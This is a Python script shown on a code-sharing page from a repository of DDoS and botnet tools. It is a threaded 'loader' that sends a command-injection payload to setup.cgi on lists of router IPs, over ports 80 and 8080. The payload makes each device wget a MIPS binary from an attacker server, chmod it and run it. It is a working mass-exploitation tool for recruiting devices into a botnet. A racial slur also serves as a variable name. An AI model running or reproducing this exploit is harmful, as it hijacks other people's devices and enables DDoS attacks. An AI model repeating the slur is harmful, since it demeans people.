Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/AFRICO LOADER/afr.py
5038 views
1
#! python !#
2
import threading, sys, time, re, os, requests
3
if len(sys.argv) < 2:
4
print "\033[37mUsage: python "+sys.argv[0]+" list of ips \033[37m"
5
sys.exit()
6
7
serverip = "IP"
8
mip = "mips"
9
ips = open(sys.argv[1], "r").readlines()
10
class afr(threading.Thread):
11
def __init__ (self, ip):
12
threading.Thread.__init__(self)
13
self.ip = str(ip).rstrip('\n')
14
def run(self):
15
try:
16
print("\033[1;33m[\033[1;33mAfrico\033[1;33m] Sending: \033[1;33m-> \033[1;33m%s") % (self.ip)
17
payload = "http://" +self.ip +"/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://"+serverip+"/"+mip+"%20-O%20/var/tmp/"+mip+";%20chmod%20777%20/var/tmp/"+mip+";%20/var/tmp/"+mip+";%20rm%20-rf%20/var/tmp/"+mip+"&curpath=/&currentsetting.htm=1"
18
payload1 = "http://" +self.ip +":8080/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://"+serverip+"/"+mip+"%20-O%20/var/tmp/"+mip+";%20chmod%20777%20/var/tmp/"+mip+";%20/var/tmp/"+mip+";%20rm%20-rf%20/var/tmp/"+mip+"&curpath=/&currentsetting.htm=1"
19
requests.get(payload, timeout=5)
20
requests.get(payload1, timeout=5)
21
except:
22
pass
23
24
for ip in ips:
25
try:
26
fuckingnigger = afr(ip)
27
fuckingnigger.start()
28
except:
29
pass
30
31